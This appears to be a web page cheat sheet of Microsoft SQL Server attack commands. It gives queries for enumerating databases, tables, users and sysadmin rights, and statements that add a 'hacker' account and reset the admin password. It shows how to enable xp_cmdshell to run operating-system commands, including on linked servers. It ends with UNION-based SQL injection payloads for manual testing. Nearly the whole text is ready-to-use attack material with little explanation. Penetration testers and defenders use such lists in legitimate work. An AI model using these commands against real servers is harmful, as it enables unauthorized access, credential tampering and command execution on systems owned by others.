SELECT name FROM master..sysdatabases;
SELECT name FROM sysobjects WHERE type='U';
-- 'U' = user-defined tables
EXEC sp_columns <table_name>;
-- Or:
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users';
USE <database_name>;
SELECT SYSTEM_USER;
SELECT USER_NAME();
SELECT IS_SRVROLEMEMBER('sysadmin');  -- Check if user is sysadmin
SELECT name, type_desc FROM master.sys.server_principals;
SELECT name FROM sysusers;
SELECT * FROM sys.server_role_members;
SELECT * FROM users;
SELECT TOP 10 * FROM users;
SELECT * FROM users WHERE username='admin';
INSERT INTO users (username, password) VALUES ('hacker', 'p@ssw0rd');
UPDATE users SET password='newpass' WHERE username='admin';
DELETE FROM users WHERE username='hacker';
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'ipconfig';
EXEC sp_linkedservers;
EXEC ('EXEC xp_cmdshell ''whoami''') AT [LINKED_SERVER_NAME];
SELECT name FROM sysobjects WHERE type = 'P';
EXEC my_procedure_name;
SELECT DB_NAME();
SELECT @@VERSION;
SELECT HOST_NAME();
SELECT SYSTEM_USER;  -- May return DOMAIN\user

For testing SQLi manually, simpler queries help:

' UNION SELECT null, null, null --  --

Then build up to:

' UNION SELECT 1, SYSTEM_USER, @@version --  --

Scroll to Top